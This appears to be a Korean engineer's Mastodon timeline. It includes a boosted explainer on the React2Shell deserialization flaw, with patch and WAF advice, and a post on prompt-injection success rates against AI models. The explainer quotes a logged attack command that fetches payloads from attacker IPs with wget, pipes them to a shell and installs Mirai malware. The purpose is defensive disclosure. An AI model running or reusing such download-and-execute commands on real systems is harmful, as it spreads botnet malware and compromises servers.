염산하

@[email protected] · 20 following · 15 followers

A software engineer in Seoul, and a father of a kid.

고남현's avatar
고남현

@[email protected]

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Simon Willison's avatar
Simon Willison

@[email protected]

I ported a Python library implementing a full HTML5 parser to JavaScript using GPT-5.2 and Codex CLI in 4.5 hours, and decorated for Christmas and watched Knives Out while I was doing it simonwillison.net/2025/Dec/15/

복설 뉴스's avatar
복설 뉴스

@[email protected]

드라마 ‘프로보노’ 속 ‘휠체어 현장 검증’이 우리에게 남긴 과제 www.ablenews.co.kr/news/article... "드라마의 갈등은 최웅산 회장이라는 ‘선한 권력자’의 결단으로 해소된다. 그는 “장애 학생들을 위한 학교를 짓겠다”고 선언한다. 이 대사는 수많은 장애 부모들의 가슴을 울렸을 것이다. 하지만 냉정하게 짚어야 할 지점이 있다. 장애 아동의 교육권이 왜 한 회장님의 ‘선의(Goodwill)’와 ‘시혜’에 의존해야 하는가?"

드라마 ‘프로보노’ 속 ‘휠체어 현장 검증’이 우리에게...

나나나나미's avatar
나나나나미

@[email protected]

트럼프 정권이 Calibri 글꼴은 "워크"(woke)라면서 사용을 폐기하려 한다고. theguardian.com/artanddesign/2
이 글꼴은 윈도 비스타에서 처음 공개되었고 2023년에는 바이든 정권에서 이 글꼴이 시각장애인들에게 도움이 된다고 판단해 도입했는데 트럼프 정권이 여기에 시비를 걸고 있는 것.

염산하

@[email protected] · Reply to Woojin Kim's post

@me 퍼플렉시티를 돌려줘 엉엉...

염산하

@[email protected] · Reply to Woojin Kim's post

@me 저도요

염산하

@[email protected] · Reply to Woojin Kim's post

@me 근데 전체 장애는 아닌가봐요. 제가 되는 걸 보니...

고남현's avatar
고남현

@[email protected]


Windows 앱에서 보이는 "DLL Hell" 문제

Windows (.NET) 기반으로 앱을 작성하다보면 빌드의 결과물로 주 실행파일인 *.exe 외에 수많은 *.dll 파일들이 기다리고 있다.

가령,

Program.exe   # 주 실행파일
a.dll    # 컴파일된 라이브러리 A
b.dll    # 컴파일된 라이브러리 B
c.dll    # 컴파일된 라이브러리 B
...

이런식으로 *.exe 파일을 보조하는 다양한 컴파일된 라이브러리(*.dll) 파일들이 생성되고, 배포시에도 이를 포함해야 한다. 이를 지칭하는 용어로 "DLL Hell"이라는 표현도 있다.

이러한 파일들을 하나로 합쳐주는 기존의 방법들(Costura.Fody, ILmerge, ILRepack 등)이 있지만 여기서 소개하는 방법은 이것과는 다르다.

어셈블리를 하나로 합치는건 권장사항이 아니다.

*.exe, *.dll 등 컴파일된 산출물을 Windows 환경에선 "어셈블리"라고 칭한다. 배포의 불편함때문에 이 어셈블리를 하나의 파일로 합치는 매우 다양한 방법이 존재한다.

앞서 언급한 병합 도구를 사용하는 방법도 있지만, 모든 추가 어셈블리를 압축하여 프로젝트 내에 넣어두는 방법 등 다양한 병합 방법이 있을 수 있다.

하지만 이러한 병합 방법은 생태계에서 충분히 합의된 방법을 사용한다기보단 개발자의 임기응변에 많이 의존하고 있기에, 결국 개발자 본인만 아는 병합 방법으로 남아 향후 협업에 걸림돌이 될 여지가 많다.

실제로 Microsoft는 어셈블리를 병합하는 예제를 공식적으로 제공하지 않으며, 이전에 공식 지원하던 ILmerge 도구의 경우 공식 지원까지 중단하였다.

정말 부득이한 상황이 아니라면 어셈블리는 파일 단위로 분리된 상태를 유지하며 배포할 것을 권장한다는 의미이다.

데이터 소스만 바꾸면 어떨까?

나는 어셈블리를 하나의 파일로 합치는 작업은 피하기로 결정하였다. 대신 그에 준하는 방법을 고민해보기로 했는데, 그 고민의 결과로 나온 것이 네트워크에서 동적으로 어셈블리를 받아내도록 하는 것이다.

C# 의 경우 라이브러리를 임포트하기 위해 다음과 같은 구문(using 문법)을 사용한다.

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using WelsonJS.Esent;

.NET의 경우 라이브러리 임포트 과정(using 키워드를 해결(resolve)하는 과정) 중간에 개입을 해서 프로그래밍이 가능하다.

나는 추가 어셈블리(*.dll) 발생의 최소화가 요구되는 앱의 using 키워드 해결 과정에 개입하여서 어셈블리를 해결하는 부분에 CDN(여기서는 Azure Blob Storage라는 Object Storage를 사용하였다.)를 연결하기로 했다.

*.dll 파일을 받아오는 경로가 이제부터는 로컬이 아닌 네트워크인 것이다.

적용하였을 때 만약에 발생할 수 있는 악용 사례를 최소화하기 위해, 유효한 코드 서명을 가진 어셈블리만 로드될 수 있도록 검증 과정을 추가하였다.

실제 구현은 아래 링크를 참고하면 된다.

이미 어셈블리가 같은 디렉토리에 존재하는 경우 네트워크에서 받아오지 않는다.

.NET IL로 컴파일된 어셈블리가 아닌, 네이티브(C/C++ 계열) 어셈블리인 경우도 처리되나?

네이티브(C/C++ 계열)로 컴파일된 어셈블리에도 대응하기 위한 구현이 AssemblyLoader.cs (gnh1201/welsonjs)에 포함되어 있다.

단, 라이브러리가 .NET IL (C# 등)으로 컴파일 되어있는 경우 자동으로 처리되지만 네이티브 라이브러리를 사용하는 경우 명시적으로 로드해야 한다.

위 내용이 반영된 예시

아래 코드를 Main 또는 이에 준하는 Entry point에서 실행함으로서 추가 어셈블리 로드가 시작된다.

// load external assemblies
AssemblyLoader.BaseUrl = GetAppConfig("AssemblyBaseUrl");
AssemblyLoader.Logger = _logger;
AssemblyLoader.Register();
AssemblyLoader.LoadNativeModules("MyNativeLib", new Version(1, 0, 0, 0), new[] { "MyNativeLib.dll" });

using 키워드로 요청되는 .NET IL 계열 어셈블리는 자동으로 찾아 로드한다. 네이티브 계열 어셈블리는 명시적으로 어셈블리 정보를 기입하여 어떤걸 로드해야하는지 정의한다.

어셈블리 해석 중 접속하게 되는 원격 네트워크 주소의 예시는 다음과 같다. Base URL이 https://example.cdn.tld/packages 일 때,

반드시 보안통신(https)이 지원되는 서버여야 하며, 모든 추가 어셈블리(*.dll)은 유효한 코드서명을 가지고 있어야 한다.

네트워크를 통한 어셈블리 동적 로딩을 쓰면 배포에 추가 어셈블리 포함 안해도 되나?

네트워크를 이용한 어셈블리 동적 로딩을 적용한다 하여도, 여전히 배포 시 추가 어셈블리(*.dll)을 함께 배포하는 것이 권장된다.

이 방법은 사용자가 Windows 앱의 배포 과정에 대해 이해가 부족하여, 추가 어셈블리(*.dll 등)을 누락하고 주 실행파일(*.exe)만 다른 컴퓨터로 옮겼을 때 발생하는 라이브러리 누락 오류를 해결하는데 도움을 주는 보조적인 방법으로 쓰여야 한다.

물론 이 방법을 쓰면 배포할 때 추가 어셈블리를 전혀 포함하지 않아도 자동으로 네트워크에서 받기 때문에 지장이 없다.

다만, 어디까지나 보조적인 방법이지 배포 시 무조건 추가 어셈블리를 포함하지 않아도 된다는 의미가 아니라는 점을 유념해야 한다.

Simon Willison's avatar
Simon Willison

@[email protected] · Reply to Simon Willison's post

Updated my post with this section about their improved protection against prompt injection attacks - definitely better, but the problem is that if an attacker gets 10 tries they'll still succeed 1/3rd of the time!
simonwillison.net/2025/Nov/24/

Still susceptible to prompt injection #

From the safety section of Anthropic’s announcement post:

    With Opus 4.5, we’ve made substantial progress in robustness against prompt injection attacks, which smuggle in deceptive instructions to fool the model into harmful behavior. Opus 4.5 is harder to trick with prompt injection than any other frontier model in the industry:

    Bar chart titled "Susceptibility to prompt-injection style attacks"

On the one hand this looks great, it’s a clear improvement over previous models and the competition.

What does the chart actually tell us though? It tells us that single attempts at prompt injection still work 1/20 times, and if an attacker can try ten different attacks that success rate goes up to 1/3!

I still don’t think training models not to fall for prompt injection is the way forward here. We continue to need to design our applications
ALT text detailsStill susceptible to prompt injection # From the safety section of Anthropic’s announcement post: With Opus 4.5, we’ve made substantial progress in robustness against prompt injection attacks, which smuggle in deceptive instructions to fool the model into harmful behavior. Opus 4.5 is harder to trick with prompt injection than any other frontier model in the industry: Bar chart titled "Susceptibility to prompt-injection style attacks" On the one hand this looks great, it’s a clear improvement over previous models and the competition. What does the chart actually tell us though? It tells us that single attempts at prompt injection still work 1/20 times, and if an attacker can try ten different attacks that success rate goes up to 1/3! I still don’t think training models not to fall for prompt injection is the way forward here. We continue to need to design our applications
염산하

@[email protected] · Reply to Woojin Kim's post

@me 어린이날!

나나나나미's avatar
나나나나미

@[email protected]

참의원 선거 약진한 극우정당, 여성 당원이 왜 많을까? ildaro.com/10319
"이처럼 정책의 중심에 성차별적 사상을 담으면서도, 여성당원을 전면에 드러내는 역설적인 전략은 지금 유럽 극우정당의 트렌드이기도 하다."
"이러한 모순을 설명하는 개념이 ‘페모내셔널리즘’(Femonationalism)이다. 이 개념은 여성의 권리와 안전을 지키겠다는 목적이, 이민자 배척이나 공권력(치안) 강화를 정당화하는 내셔널리즘(국가주의, 애국주의, 배외주의, 인종주의)에 이용되는 것을 가리킨다. 이민자 남성에 의한 성범죄는 크게 부각되고 규탄을 받는 반면, 자국 남성에 의한 성차별과 폭력은 경시되는 구조가 전형적이다."

복설 뉴스's avatar
복설 뉴스

@[email protected]

‘엡스틴 파일’ 공개된다…하원 반대 1표뿐, 상원은 만장일치 www.hani.co.kr/arti/interna... "앞서 트럼프 대통령은 법안 상정을 막기 위해 이를 추진 중이던 3명의 공화당 여성 의원에게 직접 전화를 걸고, 백악관 참모진을 동원해 위협성 경고까지 보냈다. 백악관은 ‘법무부 전체 자료 강제 공개 법안’을 본회의에 상정하는 청원서를 지지하는 것을 “행정부에 대한 적대 행위”로 간주하겠다고 경고하기도 했다. 뉴욕타임스는 “이러한 압박 작전은 오히려 역효과를 낳았다”고 전했다."

‘엡스틴 파일’ 공개된다…하원 반대 1표뿐, 상원은 만...

역설 :ICCO_logo_server:'s avatar
역설 :ICCO_logo_server:

@[email protected]

윤 구속기간이 1월 18일에 만료된다니 이게 무슨 소리야 아니 그보다 재판 담당이 아직도 지귀연이라니 끔찍하네 또 어영부영 풀어줄라고??
https://x.com/yoonoutaction/status/1990948566102388935

洪 民憙 (Hong Minhee) :nonbinary:'s avatar
洪 民憙 (Hong Minhee) :nonbinary:

@[email protected]

I try to be polite when I write prompts for LLMs. Especially in languages like Korean or Japanese that have grammatical honorifics, I make sure to use the formal, respectful form of speech (what's known as 敬語—gyeongeo or keigo). I joke with my friends that I'm using polite language early on to be pardoned for my sins when AI eventually takes over the world, but the real reason is that I don't want to get used to speaking to someone in a commanding tone. It makes me think I might start believing it's “okay” to order around certain intelligent beings, almost like condoning slavery.

Hollo :hollo:'s avatar
Hollo :hollo:

@[email protected]

0.7 brings a redesigned system with much better performance. We've moved from generating on-demand to storing them as they happen, which makes the notifications endpoint about 60% faster. We've also added response compression (though if you're using a reverse proxy, you probably had this already).

More notably, Hollo 0.7 implements Mastodon's v2 grouped notifications API. Notifications like favorites, follows, and reblogs targeting the same post or account are now grouped together server-side, reducing clutter. Clients that support the new API (introduced in 4.3) will show cleaner, more organized notifications automatically.

Hollo 0.7 is still in development, but we're excited to share it with you when it's ready!

염산하

@[email protected]

오오... MCP가 vscode 의 LSP에 영향을 받아서 비슷하다고...첨 알았네.

요즘 AI 에이전트 개발

염산하

@[email protected]

호랑이는 숲에 살지 않는다 과학연구이기도 하고 사회적 활동이기도 한 보전생물학자의 활동 이야기... 열정 오기 애정 여러가지 감정을 느꼈다. 존경심을 느끼게 만드는 인생 이야기이기도 했다. 보전생물학이 뭘 하는 학문인지도 처음 알게되었다.

염산하

@[email protected] · Reply to 푸른곰's post

@purengom 오... 좋아보이는데요. 하지만 한국의 추위는 ... ㅎㅎㅎ

Woojin Kim's avatar
Woojin Kim

@[email protected]

와 미쳤다 ;;; 코멧 브라우저로 같은 글을 여러번 열어 각각에 오타 수정시키고, 글 내용 검증시키고, 글에 인용한 수식과 표현의 정합성을 점검해 수정시키는 작업을 동시에 진행시키면 컨플루언스가 이들 사이의 작업을 알아서 동기화하고 있다. ... 사실 에이전트 각각의 동작은 내가 직접 하는것보다 압도적으로 느림. 하지만 이 작업들을 동시에 수행하면 그 느림을 완화할 수 있음.

염산하

@[email protected] · Reply to 고남현's post

@gnh1201 후덜덜... jquery 에서 왜 굳이 SPA를...

염산하

@[email protected]

요즘당근AI개발. 여러 사례를 볼 수 있어서 좋았다

염산하

@[email protected]

[박주민입니다] 극우 혐오 현수막 보고드립니다 https://m.bobaedream.co.kr/board/bbs_view/strange/6773771/1/1

정당 현수막이라도 혐오나 범죄를 조장하면 철거 대상일 수 있다.

염산하

@[email protected]

엄마는 하나, 자식은 두 종인 개미 발견됐다. 과학동아 2025년 11월호.

엄마는 하나, 자식은 두 종인 개미 발견됐다. 과학동아 2025년 11월호
ALT text details엄마는 하나, 자식은 두 종인 개미 발견됐다. 과학동아 2025년 11월호
빼뽀네's avatar
빼뽀네

@[email protected]

한석호 저러는거 한두번 본것도 아니다. 뭐 그거 보고 큰스승님이 한소리 하셨음. weirdhat.net/blog/archive...

민주당에 화가 나면 뭐든지 해도 되나

Zen's avatar
Zen

@[email protected]

A little control goes a long way.

Meet the new Site Control Centre in Zen. A single menu for the page you’re on. Take a screenshot, bookmark a site, open extensions, or check site permissions; all without digging through settings.

A copy link button and a sidebar toggle in the URL bar are also included in this update.

Now available in 1.17b
zen-browser.app/release-notes/

염산하

@[email protected]

문제 해결을 위해 여러 가지 임베딩 모델을 테스트해보다가 구글의 임 베딩 모델은 작업 유형을 선택할 수 있다는 걸 알게 되었습니다. 임베딩 모델을 호출할 때 문서의 경우 [task_Uype: RETRIEVAL_DOCUMENT, 쿼리 의 경우 task_ype: RETRIEVAL_QUBRY과 같은 형태로 옵션을 넘겨 해당 작업에 최적화된 형태로 임베딩을 만들어냈습니다. 위 옵션을 지정하고 다른 임베딩 모델들과 비교하자 훨씬 좋은 결과를 얻었습니다.

요즘 당근 AI 개발

염산하

@[email protected] · Reply to 염산하's post

음, 4/22 에 배당된 사건 자료를 3월 말에 미리 봤다고?

염산하

@[email protected]

7만쪽 짜리를 그 시간에 다 봤냐? 그게 가능하냐? 했더니 전자문서로 봤다고 둘러대는 것 자체가 이미 문서는 상관 없고 결론은 정해놨고 ... 라는거네. 거기다가 전자문서로 본다는 건 그 시점엔 심지어 불법... 거짓말하다 딱 걸린 것 같은데...

염산하

@[email protected] · Reply to Woojin Kim's post

@me 글보고 처음 떠오른 내용은 브라우저에서 파이썬을 직접 돌리는 pyodide 사용한 글이고요... ( https://simonwillison.net/2025/Sep/9/apollo-ai-adoption/ ) 음 streamlit 으로도 많이들 만들어서 돌리죠. 도커에서 간단히 돌릴 수 있을 거고요.

염산하

@[email protected]

장송의 프리렌 보기 시작. 좋네.

Older →